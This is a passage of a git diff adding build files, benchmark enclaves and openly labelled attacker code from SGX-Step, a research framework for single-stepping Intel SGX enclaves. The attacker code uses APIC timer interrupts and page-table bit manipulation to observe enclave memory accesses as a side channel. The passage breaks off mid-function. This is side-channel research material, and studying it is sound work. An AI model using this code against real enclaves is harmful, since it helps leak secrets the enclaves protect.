+state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/app/.gitignore b/app/.gitignore new file mode 100644 index 0000000..69d29c6 --- /dev/null +++ b/app/.gitignore @@ -0,0 +1,2 @@ +app +devmem2 diff --git a/app/aep-redirect/.gitignore b/app/aep-redirect/.gitignore new file mode 100644 index 0000000..f1aeaf0 --- /dev/null +++ b/app/aep-redirect/.gitignore @@ -0,0 +1,13 @@ +app +measurements.txt +measurements_raw.txt +outlier_idx.txt +plot.pdf +xlabels.gp + +*.swp + +out.txt +parsed.txt +parsed_zz.txt +parsed_strlen.txt diff --git a/app/aep-redirect/Enclave/.gitignore b/app/aep-redirect/Enclave/.gitignore new file mode 100644 index 0000000..9a89f8a --- /dev/null +++ b/app/aep-redirect/Enclave/.gitignore @@ -0,0 +1,20 @@ + enclave/Enclave/asm.s + enclave/Enclave/build_asm.py + enclave/Enclave/encl.so + enclave/Enclave/encl.unsigned.so + enclave/Enclave/encl_t.c + enclave/Enclave/encl_t.h + enclave/Enclave/encl_u.c + enclave/Enclave/encl_u.h + enclave/Enclave/libencl_proxy.a + enclave/Enclave/private_key.pem + enclave/Enclave/public_key.pem + + +encl +*.pem +*.a +*.s +*.so +*_u.* +*_t.* diff --git a/app/aep-redirect/Enclave/Makefile b/app/aep-redirect/Enclave/Makefile new file mode 100644 index 0000000..3f3801c --- /dev/null +++ b/app/aep-redirect/Enclave/Makefile @@ -0,0 +1,104 @@ +CC = gcc +AR = ar +LD = gcc +EDGER = sgx_edger8r +SIGNER = sgx_sign +INCLUDE = $(patsubst %,-I%,$(subst :, ,$(SGX_INCLUDE))) +T_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g -Os +U_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g +AR_FLAGS = rcs +OBJECTS = encl.o +LIB_SGX_TRTS = -lsgx_trts +LIB_SGX_TSERVICE = -lsgx_tservice + +ENCLAVE_LIBS = $(LIB_SGX_TRTS) +ENCLAVE_LIB_PARTS = -lsgx_tstdc -lsgx_tcrypto $(LIB_SGX_TSERVICE) +ENCLAVE = encl +PRIVATE_KEY = private_key.pem +PUBLIC_KEY = public_key.pem +KEY_SIZE = 3072 +ENCLAVE_EDL = $(ENCLAVE).edl +ENCLAVE_CONFIG = $(ENCLAVE).config.xml +OUTPUT_T = $(ENCLAVE).so +OUTPUT_T_UNSIG = $(ENCLAVE).unsigned.so +OUTPUT_U = lib$(ENCLAVE)_proxy.a +LIB_DIRS = -L $(SGX_LIBS) +LD_FLAGS = -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles \ + -Wl,--whole-archive -Wl,--start-group $(ENCLAVE_LIBS) -Wl,--end-group \ + -Wl,--no-whole-archive -Wl,--start-group $(ENCLAVE_LIB_PARTS) -Wl,--end-group \ + -Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \ + -Wl,-pie,-eenclave_entry -Wl,--export-dynamic \ + -Wl,--defsym,__ImageBase=0 +TRUSTED_OBJECTS = $(ENCLAVE)_t.o +UNTRUSTED_OBJECTS = $(ENCLAVE)_u.o +TRUSTED_CODE = $(ENCLAVE)_t.h $(ENCLAVE)_t.c +UNTRUSTED_CODE = $(ENCLAVE)_u.h $(ENCLAVE)_u.c + +#.SILENT: +all: $(OUTPUT_T) $(OUTPUT_U) + +$(OUTPUT_T) : $(TRUSTED_OBJECTS) $(OBJECTS) + echo "$(INDENT)[LD] " $(OBJECTS) $(TRUSTED_OBJECTS) $(ENCLAVE_LIBS) $(ENCLAVE_LIBS_PARTS) $(OUTPUT_T_UNSIG) + $(LD) $(OBJECTS) $(TRUSTED_OBJECTS) $(LD_FLAGS) $(LIB_DIRS) -o $(OUTPUT_T_UNSIG) + + echo "$(INDENT)[SGN]" $(OUTPUT_T_UNSIG) + $(SIGNER) sign -key $(PRIVATE_KEY) -enclave $(OUTPUT_T_UNSIG) -out $(OUTPUT_T) -config $(ENCLAVE_CONFIG) > /dev/null 2> /dev/null + +$(OUTPUT_U) : $(UNTRUSTED_OBJECTS) + echo "$(INDENT)[AR] " $(OUTPUT_U) + $(AR) $(AR_FLAGS) $(OUTPUT_U) $(UNTRUSTED_OBJECTS) + +%_t.o : $(subst .o,.c,$@) edger + echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(trusted edge)" + touch $(subst .o,.c,$@) + $(CC) -c $(INCLUDE) $(T_CFLAGS) $(subst .o,.c,$@) + +%_u.o : $(subst .o,.c,$@) edger + echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(untrusted edge)" + touch $(subst .o,.c,$@) + $(CC) -c $(INCLUDE) $(U_CFLAGS) $(subst .o,.c,$@) + +%.o : %.c edger + echo "$(INDENT)[CC] " $< "(core)" + $(CC) $(INCLUDE) $(T_CFLAGS) -c $< + +%.o : %.S + echo "$(INDENT)[AS] " $< "(core)" + $(CC) $(INCLUDE) $(T_CFLAGS) -c $< -o $@ + +asm.s: build_asm.py + ./build_asm.py + +edger: $(ENCLAVE).edl + echo "$(INDENT)[GEN]" $(EDGER) $(ENCLAVE_EDL) + $(EDGER) $(ENCLAVE_EDL) + +.PHONY: force_check +force_check: + true + +.PHONY: scrub +scrub: + echo "$(INDENT)[RM] " $(PRIVATE_KEY) $(PUBLIC_KEY) + $(RM) $(PRIVATE_KEY) $(PUBLIC_KEY) + +.PHONY: configure +configure: + echo "$(INDENT)[GEN] $(PRIVATE_KEY) ($(KEY_SIZE) bits)" + + # generate 3072 bit private RSA key + openssl genrsa -out $(PRIVATE_KEY) -3 $(KEY_SIZE) + + echo "$(INDENT)[EXT] $(PUBLIC_KEY)" + # extract public key + openssl rsa -in $(PRIVATE_KEY) -pubout -out $(PUBLIC_KEY) + + # sign enclave + #sgx_sign sign -key private_key.pem -enclave Enclave/encl.so -out encl.signed.so + +.PHONY: clean +clean: + echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) + $(RM) $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) + echo "$(INDENT)[RM]" $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) + $(RM) $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) diff --git a/app/aep-redirect/Enclave/encl.c b/app/aep-redirect/Enclave/encl.c new file mode 100644 index 0000000..02c3d19 --- /dev/null +++ b/app/aep-redirect/Enclave/encl.c @@ -0,0 +1,32 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +__attribute__((aligned(4096))) int a; + +void* get_a_addr( void ) +{ + return &a; +} + +void enclave_dummy_call(void) +{ + a++; + return; +} diff --git a/app/aep-redirect/Enclave/encl.config.xml b/app/aep-redirect/Enclave/encl.config.xml new file mode 100644 index 0000000..d6943ec --- /dev/null +++ b/app/aep-redirect/Enclave/encl.config.xml @@ -0,0 +1,10 @@ + + + 0 + 0 + 0x40000 + 0x100000 + 1 + 1 + 0 + diff --git a/app/aep-redirect/Enclave/encl.edl b/app/aep-redirect/Enclave/encl.edl new file mode 100644 index 0000000..d9ffd95 --- /dev/null +++ b/app/aep-redirect/Enclave/encl.edl @@ -0,0 +1,10 @@ +enclave { + + trusted { + public void enclave_dummy_call(void); + public void* get_a_addr( void ); + }; + + untrusted { + }; +}; diff --git a/app/aep-redirect/Makefile b/app/aep-redirect/Makefile new file mode 100644 index 0000000..dc53553 --- /dev/null +++ b/app/aep-redirect/Makefile @@ -0,0 +1,49 @@ +LIBSGXSTEP_DIR = ../.. +LIBSGXSTEP = $(LIBSGXSTEP_DIR)/libsgxstep +ENCLAVE = Enclave +SUBDIRS = $(ENCLAVE) $(LIBSGXSTEP) + +CC = gcc +AS = gcc +LD = gcc + +CFLAGS += -fPIC -fno-stack-protector -fno-builtin -fno-jump-tables \ + -fno-common -Wno-attributes -g -D_GNU_SOURCE -O0 +INCLUDE = -I/opt/intel/sgxsdk/include/ -I$(LIBSGXSTEP_DIR) +LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ + -lsgx_uae_service -pthread $(SUBDIRS:%=-L %) + +SOURCES = $(shell ls *.c) +OBJECTS = $(SOURCES:.c=.o) +OUTPUT = app + +BUILDDIRS = $(SUBDIRS:%=build-%) +CLEANDIRS = $(SUBDIRS:%=clean-%) + + +.SILENT: +all: $(OUTPUT) + +$(OUTPUT): $(BUILDDIRS) $(OBJECTS) + echo "$(INDENT)[LD]" $(OBJECTS) $(LIBS) -o $(OUTPUT) + $(LD) $(OBJECTS) $(LDFLAGS) -o $(OUTPUT) + +%.o : %.c + echo "$(INDENT)[CC] " $< + $(CC) $(CFLAGS) $(INCLUDE) -c $< + +%.o : %.S + echo "$(INDENT)[AS] " $< + $(AS) $(INCLUDE) -c $< -o $@ + +clean: $(CLEANDIRS) + echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT) + rm -f $(OBJECTS) $(OUTPUT) + +$(BUILDDIRS): + echo "$(INDENT)[===] $(@:build-%=%) [===]" + $(MAKE) -C $(@:build-%=%) INDENT+="$(INDENT_STEP)" curr-dir=$(curr-dir)/$(@:build-%=%) + +$(CLEANDIRS): + echo "$(INDENT)[===] $(@:clean-%=%) [===]" + $(MAKE) clean -C $(@:clean-%=%) INDENT+="$(INDENT_STEP)" curr-dir=$(curr-dir)/$(@:build-%=%) diff --git a/app/aep-redirect/main.c b/app/aep-redirect/main.c new file mode 100644 index 0000000..8a7c026 --- /dev/null +++ b/app/aep-redirect/main.c @@ -0,0 +1,74 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include +#include "Enclave/encl_u.h" +#include +#include +#include "libsgxstep/enclave.h" +#include "libsgxstep/debug.h" + +void *a_pt; +int fault_fired = 0, aep_fired = 0; + +void aep_cb_func(uint64_t erip) +{ + // NOTE: driver only fills in erip on APIC timer interrupt, not on fault + info("Hello world from AEP callback! Resuming enclave.."); + + aep_fired++; +} + +void fault_handler(int signal) +{ + info("Caught fault %d! Restoring access rights..", signal); + ASSERT(!mprotect(a_pt, 4096, PROT_READ | PROT_WRITE)); + fault_fired++; +} + +int main( int argc, char **argv ) +{ + sgx_launch_token_t token = {0}; + int updated = 0; + sgx_enclave_id_t eid = 0; + + info("Creating enclave..."); + SGX_ASSERT( sgx_create_enclave( "./Enclave/encl.so", /*debug=*/1, + &token, &updated, &eid, NULL ) ); + register_aep_cb(aep_cb_func); + register_enclave_info(/*edbgrd_rip=*/ 0); + print_enclave_info(); + + /* mprotect to provoke page faults during enclaved execution */ + info("revoking a access rights.."); + SGX_ASSERT( get_a_addr(eid, &a_pt) ); + info("a at %p", a_pt); + ASSERT(!mprotect(a_pt, 4096, PROT_NONE)); + ASSERT(signal(SIGSEGV, fault_handler) != SIG_ERR); + + info("calling enclave.."); + SGX_ASSERT( enclave_dummy_call(eid) ); + + ASSERT(fault_fired && aep_fired); + SGX_ASSERT( sgx_destroy_enclave( eid ) ); + + info("all is well; exiting.."); + return 0; +} diff --git a/app/bench/.gitignore b/app/bench/.gitignore new file mode 100644 index 0000000..e0a295f --- /dev/null +++ b/app/bench/.gitignore @@ -0,0 +1,13 @@ +app +measurements.txt +measurements_raw.txt +outlier_idx.txt +plot.pdf +xlabels.gp + +*.swp + +out.txt +parsed_nop.txt +parsed_zz.txt +parsed_strlen.txt diff --git a/app/bench/Enclave/.gitignore b/app/bench/Enclave/.gitignore new file mode 100644 index 0000000..7865b9d --- /dev/null +++ b/app/bench/Enclave/.gitignore @@ -0,0 +1,8 @@ +asm_nop.S +encl +*.pem +*.a +*.s +*.so +*_u.* +*_t.* diff --git a/app/bench/Enclave/Makefile b/app/bench/Enclave/Makefile new file mode 100644 index 0000000..a8b91f8 --- /dev/null +++ b/app/bench/Enclave/Makefile @@ -0,0 +1,105 @@ +CC = gcc +AR = ar +LD = gcc +EDGER = sgx_edger8r +SIGNER = sgx_sign +INCLUDE = $(patsubst %,-I%,$(subst :, ,$(SGX_INCLUDE))) +T_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g -Os +U_CFLAGS = $(CFLAGS) -nostdinc -fvisibility=hidden -fpie -fstack-protector -g +AR_FLAGS = rcs +OBJECTS = encl.o asm.o asm_nop.o +LIB_SGX_TRTS = -lsgx_trts +LIB_SGX_TSERVICE = -lsgx_tservice + +ENCLAVE_LIBS = $(LIB_SGX_TRTS) +ENCLAVE_LIB_PARTS = -lsgx_tstdc -lsgx_tcrypto $(LIB_SGX_TSERVICE) +ENCLAVE = encl +PRIVATE_KEY = private_key.pem +PUBLIC_KEY = public_key.pem +KEY_SIZE = 3072 +ENCLAVE_EDL = $(ENCLAVE).edl +ENCLAVE_CONFIG = $(ENCLAVE).config.xml +OUTPUT_T = $(ENCLAVE).so +OUTPUT_T_UNSIG = $(ENCLAVE).unsigned.so +OUTPUT_U = lib$(ENCLAVE)_proxy.a +LIB_DIRS = -L $(SGX_LIBS) +LD_FLAGS = -Wl,--no-undefined -nostdlib -nodefaultlibs -nostartfiles \ + -Wl,--whole-archive -Wl,--start-group $(ENCLAVE_LIBS) -Wl,--end-group \ + -Wl,--no-whole-archive -Wl,--start-group $(ENCLAVE_LIB_PARTS) -Wl,--end-group \ + -Wl,-Bstatic -Wl,-Bsymbolic -Wl,--no-undefined \ + -Wl,-pie,-eenclave_entry -Wl,--export-dynamic \ + -Wl,--defsym,__ImageBase=0 +TRUSTED_OBJECTS = $(ENCLAVE)_t.o +UNTRUSTED_OBJECTS = $(ENCLAVE)_u.o +TRUSTED_CODE = $(ENCLAVE)_t.h $(ENCLAVE)_t.c +UNTRUSTED_CODE = $(ENCLAVE)_u.h $(ENCLAVE)_u.c + +#.SILENT: +all: $(OUTPUT_T) $(OUTPUT_U) + +$(OUTPUT_T) : $(TRUSTED_OBJECTS) $(OBJECTS) + echo "$(INDENT)[LD] " $(OBJECTS) $(TRUSTED_OBJECTS) $(ENCLAVE_LIBS) $(ENCLAVE_LIBS_PARTS) $(OUTPUT_T_UNSIG) + $(LD) $(OBJECTS) $(TRUSTED_OBJECTS) $(LD_FLAGS) $(LIB_DIRS) -o $(OUTPUT_T_UNSIG) + + echo "$(INDENT)[SGN]" $(OUTPUT_T_UNSIG) + $(SIGNER) sign -key $(PRIVATE_KEY) -enclave $(OUTPUT_T_UNSIG) -out $(OUTPUT_T) -config $(ENCLAVE_CONFIG) > /dev/null 2> /dev/null + +$(OUTPUT_U) : $(UNTRUSTED_OBJECTS) + echo "$(INDENT)[AR] " $(OUTPUT_U) + $(AR) $(AR_FLAGS) $(OUTPUT_U) $(UNTRUSTED_OBJECTS) + +%_t.o : $(subst .o,.c,$@) edger + echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(trusted edge)" + touch $(subst .o,.c,$@) + $(CC) -c $(INCLUDE) $(T_CFLAGS) $(subst .o,.c,$@) + +%_u.o : $(subst .o,.c,$@) edger + echo "$(INDENT)[CC] " $(subst .o,.c,$@) "(untrusted edge)" + touch $(subst .o,.c,$@) + $(CC) -c $(INCLUDE) $(U_CFLAGS) $(subst .o,.c,$@) + +%.o : %.c edger + echo "$(INDENT)[CC] " $< "(core)" + $(CC) $(INCLUDE) $(T_CFLAGS) -c $< + +%.o : %.S + echo "$(INDENT)[AS] " $< "(core)" + $(CC) $(INCLUDE) $(T_CFLAGS) -c $< -o $@ + +asm_nop.S: build_asm.py + ./build_asm.py $(NUM) + +edger: $(ENCLAVE).edl + echo "$(INDENT)[GEN]" $(EDGER) $(ENCLAVE_EDL) + $(EDGER) $(ENCLAVE_EDL) + +.PHONY: force_check +force_check: + true + +.PHONY: scrub +scrub: + echo "$(INDENT)[RM] " $(PRIVATE_KEY) $(PUBLIC_KEY) + $(RM) $(PRIVATE_KEY) $(PUBLIC_KEY) + +.PHONY: configure +configure: + echo "$(INDENT)[GEN] $(PRIVATE_KEY) ($(KEY_SIZE) bits)" + + # generate 3072 bit private RSA key + openssl genrsa -out $(PRIVATE_KEY) -3 $(KEY_SIZE) + + echo "$(INDENT)[EXT] $(PUBLIC_KEY)" + # extract public key + openssl rsa -in $(PRIVATE_KEY) -pubout -out $(PUBLIC_KEY) + + # sign enclave + #sgx_sign sign -key private_key.pem -enclave Enclave/encl.so -out encl.signed.so + +.PHONY: clean +clean: + echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) + $(RM) $(OBJECTS) $(OUTPUT_T_UNSIG) $(OUTPUT_T) $(OUTPUT_U) + echo "$(INDENT)[RM]" $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) + $(RM) $(TRUSTED_OBJECTS) $(UNTRUSTED_OBJECTS) $(TRUSTED_CODE) $(UNTRUSTED_CODE) + $(RM) asm_nop.S diff --git a/app/bench/Enclave/asm.S b/app/bench/Enclave/asm.S new file mode 100644 index 0000000..488d701 --- /dev/null +++ b/app/bench/Enclave/asm.S @@ -0,0 +1,69 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + + .data + .global secret_str + .align 0x1000 /* 4KiB */ +secret_str: + .ascii "SysTEX 2017" //len=11 + .space 0x100000 /* 1 MiB */ + +.macro lea_pic symbol, reg + lea \symbol(%rip), \reg +.endm + + .text + .global zigzag_bench + .type zigzag_bench,@function +// code snippet from +// https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-lee-sangho.pdf +zigzag_bench: + cmp $0, %rdi + je zigzag_bench_ret + +block0: lea_pic block1, %r15 + lea_pic block2, %r14 + cmp $0, a(%rip) + cmove %r14, %r15 +block0.j: jmp zz1 +block1: nop + lea_pic block5, %r15 +block1.j: jmp zz2 +block2: lea_pic block3, %r15 + lea_pic block4, %r14 + cmp $0, b(%rip) + cmove %r14, %r15 +block2.j: jmp zz3 +block3: nop + lea_pic block5, %r15 +block3.j: jmp zz4 +block4: nop +block5: nop + + dec %rdi + jmp zigzag_bench + +zigzag_bench_ret: + retq + +zz1: jmp block1.j +zz2: jmp block2.j +zz3: jmp block3.j +zz4: jmpq *%r15 diff --git a/app/bench/Enclave/build_asm.py b/app/bench/Enclave/build_asm.py new file mode 100755 index 0000000..1ba2af2 --- /dev/null +++ b/app/bench/Enclave/build_asm.py @@ -0,0 +1,29 @@ +#!/usr/bin/python3 + +import string +import sys + +if (len(sys.argv) != 2): + print("usage: build_asm.py expects one argument ") + exit(1) + +NB_INST = int(sys.argv[1]) +ASM_INST = "nop" + +template = string.Template(''' + /* ====== auto generated asm code from Python script ======= */ + + .text + .global asm_microbenchmark + asm_microbenchmark: + $asmCode + +micro_done: + retq +''') + +asm = (ASM_INST + '\n') * NB_INST +code = template.substitute(asmCode=asm) + +with open('asm_nop.S', 'w') as the_file: + the_file.write(code) diff --git a/app/bench/Enclave/encl.c b/app/bench/Enclave/encl.c new file mode 100644 index 0000000..26b9d43 --- /dev/null +++ b/app/bench/Enclave/encl.c @@ -0,0 +1,66 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include +#include + +// see asm.S +extern char secret_str; +extern void zigzag_bench(uint64_t nb); + +// see asm_nop.S +extern void asm_microbenchmark(void); + +void do_nop_slide(void) +{ + asm_microbenchmark(); +} + +int a, b; + +void do_zigzagger(int n) +{ + a = 1; + b = 0; + zigzag_bench(n); +} + +size_t my_strlen(const char *str) +{ + const char *s; + + for (s = str; *s; ++s); + return (s - str); +} + +int do_strlen(int n) +{ + int i, j; + + for (i=0; i < n; i++) + j = my_strlen(&secret_str); + + return j; +} + +void *get_str_adrs( void ) +{ + return &secret_str; +} diff --git a/app/bench/Enclave/encl.config.xml b/app/bench/Enclave/encl.config.xml new file mode 100644 index 0000000..d6943ec --- /dev/null +++ b/app/bench/Enclave/encl.config.xml @@ -0,0 +1,10 @@ + + + 0 + 0 + 0x40000 + 0x100000 + 1 + 1 + 0 + diff --git a/app/bench/Enclave/encl.edl b/app/bench/Enclave/encl.edl new file mode 100644 index 0000000..9c78018 --- /dev/null +++ b/app/bench/Enclave/encl.edl @@ -0,0 +1,12 @@ +enclave { + + trusted { + public void do_zigzagger( int n ); + public int do_strlen( int n ); + public void *get_str_adrs( void ); + public void do_nop_slide( void ); + }; + + untrusted { + }; +}; diff --git a/app/bench/Makefile b/app/bench/Makefile new file mode 100644 index 0000000..85d3d6e --- /dev/null +++ b/app/bench/Makefile @@ -0,0 +1,72 @@ +LIBSGXSTEP_DIR = ../.. +LIBSGXSTEP = $(LIBSGXSTEP_DIR)/libsgxstep +ENCLAVE = Enclave +SUBDIRS = $(ENCLAVE) $(LIBSGXSTEP) + +CC = gcc +AS = gcc +LD = gcc + +CFLAGS += -fPIC -fno-stack-protector -fno-builtin -fno-jump-tables \ + -fno-common -Wno-attributes -g -D_GNU_SOURCE -O0 +INCLUDE = -I/opt/intel/sgxsdk/include/ -I$(LIBSGXSTEP_DIR) +LDFLAGS += -lsgx-step -lencl_proxy -lsgx_urts \ + -lsgx_uae_service $(SUBDIRS:%=-L %) + +SOURCES = $(shell ls *.c) +OBJECTS = $(SOURCES:.c=.o) +OUTPUT = app + +BUILDDIRS = $(SUBDIRS:%=build-%) +CLEANDIRS = $(SUBDIRS:%=clean-%) + +ATTACK = 1 +PARSE = nop +ifeq ($(STRLEN), 1) + ATTACK = 2 + PARSE = strlen +endif +ifeq ($(ZIGZAG), 1) + ATTACK = 3 + PARSE = zz +endif + +ifeq ($(NUM),) + NUM = 100 +endif +export NUM + +CFLAGS += -DATTACK_SCENARIO=$(ATTACK) -DNUM_RUNS=$(NUM) + +.SILENT: +all: $(OUTPUT) + +run: clean all + sudo ./app > out.txt + +parse: run + ./parse_$(PARSE).py $(NUM) + +$(OUTPUT): $(BUILDDIRS) $(OBJECTS) + echo "$(INDENT)[LD]" $(OBJECTS) $(LIBS) -o $(OUTPUT) + $(LD) $(OBJECTS) $(LDFLAGS) -o $(OUTPUT) + +%.o : %.c + echo "$(INDENT)[CC] " $< + $(CC) $(CFLAGS) $(INCLUDE) -c $< + +%.o : %.S + echo "$(INDENT)[AS] " $< + $(AS) $(INCLUDE) -c $< -o $@ + +clean: $(CLEANDIRS) + echo "$(INDENT)[RM]" $(OBJECTS) $(OUTPUT) + rm -f $(OBJECTS) $(OUTPUT) + +$(BUILDDIRS): + echo "$(INDENT)[===] $(@:build-%=%) [===]" + $(MAKE) -C $(@:build-%=%) INDENT+="$(INDENT_STEP)" curr-dir=$(curr-dir)/$(@:build-%=%) + +$(CLEANDIRS): + echo "$(INDENT)[===] $(@:clean-%=%) [===]" + $(MAKE) clean -C $(@:clean-%=%) INDENT+="$(INDENT_STEP)" curr-dir=$(curr-dir)/$(@:build-%=%) diff --git a/app/bench/main.c b/app/bench/main.c new file mode 100644 index 0000000..2a1e906 --- /dev/null +++ b/app/bench/main.c @@ -0,0 +1,187 @@ +/* + * This file is part of the SGX-Step enclave execution control framework. + * + * Copyright (C) 2017 Jo Van Bulck , + * Raoul Strackx + * + * SGX-Step is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * SGX-Step is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with SGX-Step. If not, see . + */ + +#include +#include "Enclave/encl_u.h" +#include +#include +#include "libsgxstep/apic.h" +#include "libsgxstep/pt.h" +#include "libsgxstep/sched.h" +#include "libsgxstep/enclave.h" +#include "libsgxstep/debug.h" + +#define VICTIM_CPU 1 +#ifndef NUM_RUNS + #define NUM_RUNS 100 +#endif + +#define MICROBENCH 1 +#define STRLEN 2 +#define ZIGZAGGER 3 +#ifndef ATTACK_SCENARIO + #define ATTACK_SCENARIO MICROBENCH +#endif + +sgx_enclave_id_t eid = 0; +int strlen_nb_access = 0; +int irq_cnt = 0; +int fault_cnt = 0; +uint64_t *pte_encl = NULL; +uint64_t *pmd_encl = NULL; + + +/* ================== ATTACKER IRQ/FAULT HANDLERS ================= */ + +/* Called before resuming the enclave after an Asynchronous Enclave eXit. */ +void aep_cb_func(uint64_t erip) +{ + uint64_t erip_offset = erip - (uint64_t) get_enclave_base(); + info("^^ enclave RIP=%#llx (offset=%#llx)", erip, erip_offset); + irq_cnt++; + + /* XXX insert custom attack-specific side-channel observation code here */ + #if (ATTACK_SCENARIO == STRLEN) + if (ACCESSED(*pte_encl)) + { + info("accessed!"); + strlen_nb_access++; + } + *pte_encl = MARK_NOT_ACCESSED( *pte_encl ); + #endif + + /* + * XXX Configure APIC timer interval for next interrupt. + * + * On our evaluation platforms, we explicitly clear the enclave's + * _unprotected_ PMD "accessed" bit below, so as to slightly slow down + * ERESUME such that the interrupt reliably arrives in the first subsequent + * enclave instruction. + * + * NOTE: the exact timer interval value depends on CPU frequency, and hence + * remains inherently platform-specific. We empirically established + * suitable timer intervals on both our evaluation platforms by + * tweaking and observing the NOP microbenchmark erip results. + */ + *pmd_encl = MARK_NOT_ACCESSED( *pmd_encl ); + apic_timer_irq(25); +} + +/* Called upon SIGSEGV caused by untrusted page tables. */ +void fault_handler(int signal) +{ + info("Caught fault %d! Restoring enclave page permissions..", signal); + *pmd_encl = MARK_NOT_EXECUTE_DISABLE(*pmd_encl); + ASSERT(fault_cnt++ < 10); + + // NOTE: return eventually continues at aep_cb_func and initiates + // single-stepping mode. +} + + +/* ================== ATTACKER INIT/SETUP ================= */ + +/* Configure and check attacker untrusted runtime environment. */ +void attacker_config_runtime(void) +{ + ASSERT( !claim_cpu(VICTIM_CPU) ); + ASSERT( !prepare_system_for_benchmark() ); + ASSERT(signal(SIGSEGV, fault_handler) != SIG_ERR); + print_system_settings(); + + if (isatty(fileno(stdout))) + { + info("WARNING: interactive terminal detected; known to cause "); + info("unstable timer intervals! Use stdout file redirection for "); + info("precise single-stepping results..."); + } + + register_aep_cb(aep_cb_func); + register_enclave_info(/*edbgrd_rip=*/ 1); + print_enclave_info(); +} + +/* Provoke page fault on enclave entry to initiate single-stepping mode. */ +void attacker_config_page_table(void) +{ + #if (ATTACK_SCENARIO == STRLEN) + void *str_adrs; + SGX_ASSERT( get_str_adrs( eid, &str_adrs) ); + info("enclave str adrs at %p\n", str_adrs); + print_page_table( str_adrs ); + pte_encl = remap_page_table_level( str_adrs, 